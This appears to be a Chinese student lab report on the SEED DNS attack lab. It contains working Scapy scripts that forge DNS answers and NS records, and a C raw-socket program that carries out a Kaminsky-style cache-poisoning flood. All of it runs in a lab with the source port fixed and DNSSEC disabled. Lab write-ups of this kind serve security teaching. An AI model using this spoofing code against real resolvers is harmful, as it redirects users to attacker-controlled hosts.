一、 实验目的

1 overview

本实验的目标是获得对DNS(域名系统)的各种攻击的第一手经验。DNS是互联网的电话簿;它将主机名转换为IP地址,反之亦然。这种转换是通过DNS解析实现的,这种解析发生在幕后。DNS欺骗攻击以各种方式操纵此解析过程,目的是将用户误导到其他目的地,这些目的地通常是恶意的。本实验室主要研究几种DNS欺骗攻击技术。将首先设置和配置DNS服务器,然后在实验室环境中的目标上尝试各种DNS欺骗攻击。
第一个大实验任务(本地DNS欺骗)中进行的攻击假设攻击者位于同一本地网络上,因此可以嗅探DNS数据包。这个假设是为了简化实验任务。
第二个大实验任务为远程DNS攻击实验,攻击者在没有嗅探数据包的情况下发起远程欺骗攻击,远程攻击实验室比本地DNS欺骗实验更具挑战性。

二、 实验步骤及结果

2 DNS _Local

2.1 环境搭建

容器部署

  1. 清除上次docker网络环境
    image.png
  2. 启动本次实验的容器

image.png

  1. LAN结构

image.png
我们启动时用对应的CONTAINER ID即可:
image.png

了解攻击者容器

Shared folder

当我们使用攻击者容器来启动攻击时,我们需要将攻击代码放在攻击者容器中。代码编辑在VM中比在容器中更方便,因为我们可以使用我们最喜欢的编辑器。为了让VM和容器共享文件,我们已经使用Docker卷在VM和容器之间创建了一个共享文件夹。如果您查看Docker组成文件,您会发现我们已经在一些容器中添加了以下条目。表示将主机(即VM)上的./volues文件夹装载到容器内的/volues文件夹。我们将把代码写入./volous文件夹(在VM上),以便它们可以在容器中使用。

Host mode

在这个实验室中,攻击者需要能够嗅探数据包,但在一个容器内运行嗅探程序有问题,因为一个容器是有效地连接到一个虚拟的开关,所以它只能看到自己的流量,它永远不会看到其他容器中的数据包。为了解决这个问题,我们使用了攻击者容器的主机模式。这允许攻击者容器查看所有的流量。在攻击者容器上使用的下列条目如下:
image.png
当容器处于host模式时,它可以看到所有主机的网络接口,它甚至具有与主机具有相同的IP地址。基本上,它与主机虚拟机放在相同的网络名称空间中。但是,容器仍然是一个独立的机器,因为它的其他名称空间仍然与主机不同。

DNS配置

1)Local DNS Server(对应10.9.0.53)

  • 简化:将源端口号固定为33333(DNS服务器会将DNS请求的源端口号随机化使得攻击更加困难)。文件named.conf.options:

image.png

  • 关闭DNSSEC(DNSSEC 是防止DNS欺骗的保护机制)。文件named.conf.options:

image.png

  • 转发到attacker32.com区域。此如果有人查询attacker32.com域,查询将被转发到该域的名称服务器,该服务器托管在攻击者容器中。区域条目被放在命名的.conf文件中。

image.png
2)user
在resolv.conf中将10.9.0.53添加为第一条nameserver记录,将local dns server作为首要的DNS服务器。
image.png
3)Attacker
Attacker的nameserver( named.conf),第一个为合法的zone attacker32.com,第二个为虚假的example.com zone:
image.png

测试部署

Get the IP address of ns.attacker32.com
image.png

Get the IP address of www.example.com
image.png
命令换为dig @ns.attacker32.com www.example.com,可以看到返回的内容与上面相同:
image.png

2.2 The Attack Tasks

Task 1: Directly Spoofing Response to User

当用户在web浏览器中键入网站的名称(主机名,如www.example.com)时,用户的计算机将向本地DNS服务器发送DNS请求,以解析主机名的IP地址。攻击者可以嗅探DNS请求消息,然后他们可以立即创建一个假的DNS响应,并发送回用户机器。如果假回复比真实回复提前到达,它将被用户机器接受。

在local DNS Server 使用命令rndc flush清除缓存
image.png
每次攻击前都要清除缓存,如果缓存有答案,那么来自本地DNS服务器的回复将比我们的欺骗的回复更快,那么我们的的攻击将无法成功。

使用项目所给代码(别忘了改监听网卡):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):

# Swap the source and destination IP address
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
# Swap the source and destination port number
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

# The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')

# The Authority Section
NSsec = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns.attacker32.com')

# The Additional Section
# Addsec = DNSRR(rrname='ns1.example.net', type='A', ttl=259200, rdata='1.2.3.4')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec )

# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-ace020efb37f', filter=f, prn=spoof_dns)

在seed-attacker容器内运行如下:
image.png
user端进行dns请求,实际信息被篡改,即攻击成功:
image.png

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

task1将攻击目标聚焦于user,需要总是等待user进行请求,效率并不高。task2将目标聚焦于DNS server,会是更高效的方式,即DNS缓存投毒:如果攻击者伪装从其他DNS server来的响应,该DNS Server就会把内容存储在缓存中,会保留相当长的一段时间。在该期间的请求都会直接返回缓存内的结果。我们只需spoof一次,影响就会持续直到下次缓存更新。

编写代码spoonf_answer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
NSsec = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns.attacker32.com')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=1, an=Anssec, ns=NSsec )

# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and (src host 10.9.0.53)'
pkt = sniff(iface='br-ace020efb37f', filter=f, prn=spoof_dns)

运行代码:
image.png
user发起一次查询,成功实现欺骗
image.png
将cache dump下来并保存到文件中,因为容器中没有vim,所以我们在对应目录用直接用cat查看里面的内容
image.png
发现cache被改变,投毒成功:
image.png

Task 3: Spoofing NS Records

进一步修改task2代码,实现NS记录的欺骗,以达成任何example.com的子域名dns请求都会返回被某恶意权威域名服务器的控制的结果。

编写spoof_ns.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')

NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns1.attacker32.com')

# The Additional Section
# Addsec = DNSRR(rrname='ns1.example.net', type='A', ttl=259200, rdata='1.2.3.4')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec )

# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-ace020efb37f', filter=f, prn=spoof_dns)

95a8ccba696fa1608c8367aad452ab1e.png
给local dns server清除缓存!
attacker运行代码,user仍旧通过www.example.com查询
image.png
image.png
结束代码运行,测试其他子域名:
image.png
image.png
将local DNS server的缓存保存到文件中:
image.png
被修改的ns记录:
image.png
刚刚查询的example.com域名:
image.png

Task 4: Spoofing NS Records for Another Domain

在之前的攻击中,我们成功地毒害了本地DNS服务器的缓存,因此ns.attacker32.com成为了example.com域的命名服务器。受到这次成功的启发,我们希望将其影响扩展到其他领域。也就是说,在由www.example.com查询触发的欺骗响应中,我们想在www.example.com部分中添加额外的条目, ns.attacker32.com也被用作google.com的命名服务器。

编写spoof_ns_anotherdomian.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = 'example.com'

def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
NSsec1 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
# NSsec3 = DNSRR(rrname='google.example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
# NSsec4 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns1.attacker32.com')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, an=Anssec, ns=NSsec1/NSsec2 )

# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-ace020efb37f', filter=f, prn=spoof_dns)

运行代码:
image.png
user端对网址进行dig
image.png
将local DNS server的缓存保存到文件中:
image.png
被修改的ns记录:
image.png

**Task 5: Spoofing Records in the Additional Section **

按照要求修改攻击代码task5.py构造部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from scapy.all import *
import sys

NS_NAME = 'example.com'

def spoof_dns(pkt):
if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.2.3.4')
NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
NSsec2 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.example.com')

Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')

# Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,
nscount=2, arcount=3, an=Anssec, ns=NSsec1/NSsec2, ar= Addsec1/Addsec2/Addsec3)

# Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and (src host 10.9.0.53 and dst port 53)'
pkt = sniff(iface='br-ace020efb37f', filter=f, prn=spoof_dns)

清除缓存,Attacker运行代码,user端 dig www.example.com。
不知道为什么,发现google的缓存清除不掉:
image.png

3 DNS_Remote

3.1 环境搭建

DNS缓存中毒攻击的主要目标是本地DNS服务器。显然,攻击一个真正的服务器是非法的,所以我们需要设置我们自己的DNS服务器来进行攻击实验。实验室环境需要四个独立的机器:一个用于受害者,一个用于DNS服务器,两个用于攻击者。实验室环境设置如图1所示。DNS缓存中毒攻击的主要目标是本地DNS服务器。显然,攻击一个真正的服务器是非法的,所以我们需要设置我们自己的DNS服务器来进行攻击实验。实验室环境需要四个独立的机器:一个用于受害者,一个用于DNS服务器,两个用于攻击者。实验室环境设置如图1所示:
image.png

主要欺骗目标为www.example.com,该域名真实ip为93.184.216.34,由ICANN管理

停止原来的docker:
image.png
在新的目录下重新启动docker:
image.png

image.png

3.2 The Attack Tasks

Task 1:The Kaminsky Attack

前述已经完成在同一LAN下的DNS攻击,在同一个LAN下是可以直接看到query包。远程攻击缓存投毒的困难主要在于,响应包的事务id必须与请求包相匹配,而请求包的id通常是随机生成的,不在同一子网无法捕捉包看id,而自己暴力手段猜测id会败在缓存机制下,因为当我们成功之前,正确包已经到达被缓存,在time out 之前,dns server不会再向外查询。

Kaminsky提出的方案(主动构造对应域名的requests,同时大量不同id响应包响应dns server的请求以欺骗完成缓存中毒攻击)
image.png
然而,上述假设的攻击忽略了缓存效应。实际上,如果攻击者没有足够幸运地在真正的响应包到达之前做出正确的猜测,那么正确的信息将被DNS服务器缓存一段时间。这种缓存效应使得攻击者无法就相同名称建立另一个响应,因为在缓存超时之前,DNS服务器不会发送该名称的另一个DNS查询。要对同一名称建立另一个响应,攻击者必须等待对该名称的另一个DNS查询,这意味着他/她必须等待缓存超时。等待时间可以是数小时或天。

Task 2: Construct DNS request

此任务主要于发送DNS请求。为了完成攻击,攻击者需要触发目标DNS服务器发送DNS查询,这样他们就有机会欺骗DNS应答。由于攻击者需要多次尝试才能成功,所以最好使用一个程序来自动化这个过程。
学生需要编写一个程序来将DNS查询发送到目标DNS服务器(即,在我们的设置中的本地DNS服务器)。学生们的工作是编写这个程序,并演示(使用Wireshark),他们的查询可以触发目标DNS服务器发送相应的DNS查询。

编写gen_dns_request.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/env python3

from scapy.all import *

srcIP = '10.9.0.1' # attacker
dstIP = '10.9.0.53' # Local DNS Server

ip = IP (dst=dstIP, src=srcIP)
udp = UDP(dport=53, sport=50945, chksum=0)

# The C code will modify the qname field
Qdsec = DNSQR(qname='aaaaa.example.com')

dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)

pkt = ip/udp/dns
send(pkt)

经wirshark抓包可以看到,local dns server 10.9.0.53向别的dns server发起查询,由于dns请求数据包为伪造,所以当主机收到回复的dns报文后,会产生ICMP端口不可达的回复报文:
image.png

Task 3: Spoof DNS Replies

在这个任务中,我们需要在卡明斯基攻击中欺骗DNS回复。由于我们的目标是example.com,所以我们需要欺骗来自这个域名的名称服务器的回复。学生首先需要找出example.com的合法名称服务器的IP地址(应该注意的是,这个域名有多个名称服务器)

用户端先看一下example.com:
image.png
编写欺骗程序,目的是向local dns server返回www.example.com的response,并欺骗其ns为攻击者的。代码gen_dns_response.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/env python3
from scapy.all import *

name = "www.example.com"
domain = "example.com"
ns = "ns.attacker32.com"

ip = IP (dst = '10.9.0.53', src = '1.2.3.4')
udp = UDP(dport = 33333, sport = 53, chksum=0)

Qdsec = DNSQR(qname = name)
Anssec = DNSRR(rrname = name, type = 'A', rdata = '1.1.1.1', ttl = 259200)
NSsec = DNSRR(rrname = domain, type = 'NS', rdata = ns, ttl = 259200)
dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1, qdcount = 1, qd = Qdsec,
ancount = 1, an = Anssec, nscount = 1, ns = NSsec)

Replypkt = ip/udp/dns
send(Replypkt)

攻击端执行代码,通过wireshark抓包看到我们的response成功到达local dns server:
image.png

Task 4: Launch the Kaminsky Attack

现在我们可以把一切都集中起来,发动卡明斯基的袭击了。在攻击中,我们需要发送许多被欺骗的DNS回复,希望其中一个能到达正确的交易号码,并比合法的回复更早到达。因此,速度至关重要:我们能发送的数据包越多,成功率就越高。如果我们使用Scapy发送欺骗的DNS回复,就像我们在上的任务中所做的那样,成功率就太低了。学生可以使用C,但是在C中构建DNS包并非简单。我们介绍了一种同时使用Scapy和C的混合方法(详细信息见SEED书)。

通过混合方法,我们首先使用Scapy生成一个DNS数据包模板,它存储在一个文件中。然后,我们将这个模板加载到一个C程序中,并对一些字段进行小的更改,然后发送数据包。我们在Labsetup/文件/asisy.c中包含了一个骨架C代码。学生可以在已标记的区域上进行更改。对该代码的详细说明见指南部分。

gen_dns_request.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/env python3
from scapy.all import *

srcIP = '10.9.0.1'
dstIP = '10.9.0.53' # Local DNS Server

ip = IP (dst=dstIP, src=srcIP)
udp = UDP(dport=53, sport=50945, chksum=0)

# The C code will modify the qname field
Qdsec = DNSQR(qname='aaaaa.example.com')

dns = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)

pkt = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
f.write(bytes(pkt))

gen_dns_response.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/env python3
from scapy.all import *

ip = IP (dst = '10.9.0.53', src = '1.2.3.4')
udp = UDP(dport = 33333, sport = 53, chksum=0)

# Construct the Question section
# The C code will modify the qname field
Qdsec = DNSQR(qname = "aaaaa.example.com")

# Construct the Answer section (the answer can be anything)
# The C code will modify the rrname field
Anssec = DNSRR(rrname = "aaaaa.example.com", type = 'A',
rdata = '1.2.3.4', ttl = 259200)

# Construct the Authority section (the main goal of the attack)
NSsec = DNSRR(rrname = "example.com", type = 'NS',
rdata = "ns.attacker32.com", ttl = 259200)

# Construct the DNS part
dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1, qdcount = 1, qd = Qdsec,
ancount = 1, an = Anssec, nscount = 1, ns = NSsec)

# Construct the IP packet and save it to a file.
Replypkt = ip/udp/dns

with open('ip_resp.bin', 'wb') as f:
f.write(bytes(Replypkt))

编写代码attack.c:
1. 读取包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include<time.h>

#define MAX_FILE_SIZE 2000
#define TARGET_IP "10.9.0.53"
int send_packet_raw (int sock, char *ip, int n);
char* GenerateRand();

int main()
{
// Create raw socket
int enable=1;
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

//####read Query.bin to ip1[] Start #########
FILE *f1 = fopen("ip_req.bin", "rb");
if (!f1)
{
perror("Can't open 'ip_req.bin'");
exit(0);
}
unsigned char ip1[MAX_FILE_SIZE];
int n1 = fread(ip1, 1, MAX_FILE_SIZE, f1);
//####read Query.bin End #########

//####read Reply.bin to ip2[] Start #########
FILE *f2 = fopen("ip_resp.bin", "rb");
if (!f2)
{
perror("Can't open 'ip_resp.bin'");
exit(0);
}
unsigned char ip2[MAX_FILE_SIZE];
int n2 = fread(ip2, 1, MAX_FILE_SIZE, f2);
//####read Reply.bin End#########

2.随机化 example.com 的子域名,发送请求包的同时,构造大量 id 响应包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
srand((unsigned)time(NULL));
for(int temp=0;temp<200;temp++) //重复200次
{
// #######send query Begin ############
char*name=GenerateRand();
// Modify the name in the question field (offset=41)
memcpy(ip1+41,name, 5);
send_packet_raw(sock, ip1, n1);
// #######send query End ############

// #######send Mult reply Begin #########
// Modify the name in the question field (offset=41)
memcpy(ip2+41, name , 5);
// Modify the name in the answer field (offset=64)
memcpy(ip2+64,name, 5);
// Modify the IP addr in the src IP field (offset=14) 199.43.133.53->199.43.135.53
char c='\x87';
memcpy(ip2+14,&c, 1);
for (int id=1; id<400; id++)
{
// Modify the transaction ID field (offset=28)
unsigned short id_net_order;
id_net_order = htons(id);
memcpy(ip2+28, &id_net_order, 2);
// Send the IP packet out
send_packet_raw(sock, ip2, n2);
}
// Modify the IP addr in the src IP field (offset=14) 199.43.135.53->199.43.133.53

伪装权威域名第二个 nameserver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        char c2='\x85';
memcpy(ip2+14,&c2, 1);
for (int id=1; id<400; id++)
{
// Modify the transaction ID field (offset=28)
unsigned short id_net_order;
id_net_order = htons(id);
memcpy(ip2+28, &id_net_order, 2);
// Send the IP packet out
send_packet_raw(sock, ip2, n2);
}
// #######send Mult Reply End#########


free(name);
name=NULL; // A good habit for security
printf("######\thave tried %d\t times, Start Next######### \n",temp);
usleep(1000); //1000ms delay
}
close(sock);
}
  1. 函数:随机化函数与原始套接字发送
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    char* GenerateRand()
    {
    char a[26]="abcdefghijklmnopqrstuvwxyz";
    // Generate a random name of length 5
    char*name=malloc(5);
    for (int k=0; k<5; k++)
    name[k] = a[rand() % 26];
    return name;
    }


    int send_packet_raw(int sock, char *ip, int n)
    {
    struct sockaddr_in dest_info;
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr.s_addr = inet_addr(TARGET_IP);
    int r = sendto(sock, ip, n, 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
    }
    理想情况:
    image.png

但我多次查看缓存,发现攻击仍是失败的(原因不明)
image.png

Task 5: Result Verification

如果攻击成功,则在本地DNS服务器的DNS缓存中,example.com的NS记录将成为ns.attacker32.com。当此服务器接收到针对example.com域内任何主机名的DNS查询时,它将向ns.attacker32.com发送一个查询,而不是发送到该域的合法名称服务器。

  1. 向 local dns server(已经被缓存)发起查询,在 dig 之前启动 wireshark 抓包:
  2. 直接向 attacker 的 dns server 发起 dig 查询:

image.png

  1. 即都是在 ns.attacker32.com 里设置的 example.com zone 规则,www.example.com 为 1.2.3.5.
  2. 抓包观察 dig www.example.com 的抓包 以下为第一次 dig(1.)的抓包结果,可以看到 10.9.0.5 向 10.9.0.53 即 local dns server 发起查询,local dns server 继而向 10.9.0.153 发起查询,而 10.9.0.153 为 ns.attacker32.com 的 ip,最后该 dns server 返回 www.example.com 的 A 记录结果。 因此我们可以判断攻击是成功的。

image.png
验证一下第二次 dig @ns.attacker32.com www.example.com 的抓包:
image.png
二者路径一致。

总结

实验顺利完成,即本地 LAN 与远程 dns 攻击两部分都完成。对 dns 欺骗有了更深刻的认知,对缓存投毒手段在实践中了解的更透彻。同一 LAN 中,可以通过抓包看见dns 包进而实施欺骗,而远程没有这个优势,在 id 匹配方面是不小的挑战,实验通过Kaminsky 方法完成了远程 dns 攻击。在实际情况下,除了 id 的随机化,还有 dns server 源端口变化与 DNSSEC 机制应对的挑战留待解决。